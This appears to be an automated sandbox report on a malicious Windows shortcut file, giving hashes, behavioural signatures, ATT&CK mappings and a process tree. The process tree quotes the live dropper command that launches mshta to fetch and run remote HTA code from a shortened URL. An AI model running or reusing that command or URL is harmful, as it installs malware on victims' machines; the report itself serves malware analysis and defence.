Analysis

  • max time kernel
    42s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    20-05-2022 13:59

General

  • Target

    d287388e5ff978bf6f8af477460a9b76a74fdc33535e392b70e58176fc9ad805.lnk

  • Size

    1.2MB

  • MD5

    365d95c0d0659a1081488460eadf8159

  • SHA1

    63a3f87be4f037585f576599823557e5444084a4

  • SHA256

    d287388e5ff978bf6f8af477460a9b76a74fdc33535e392b70e58176fc9ad805

  • SHA512

    41c49560683ee1611eb1143ca6babe650e336c33f7d58b67cb34e17e0450a9ef6b212fc318bc3601942e49acc3ba65aba86278bb6a60ac0764b9488036a4ca4a

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://bit.ly/3eIxLAZ

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\d287388e5ff978bf6f8af477460a9b76a74fdc33535e392b70e58176fc9ad805.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1744
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\mshta https://bit.ly/3eIxLAZ
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:696
      • C:\Windows\System32\mshta.exe
        C:\Windows\System32\mshta https://bit.ly/3eIxLAZ
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        PID:1732

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

2
T1112

Install Root Certificate

1
T1130

Discovery

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/696-88-0x0000000000000000-mapping.dmp
  • memory/1732-89-0x0000000000000000-mapping.dmp
  • memory/1744-54-0x000007FEFC021000-0x000007FEFC023000-memory.dmp
    Filesize

    8KB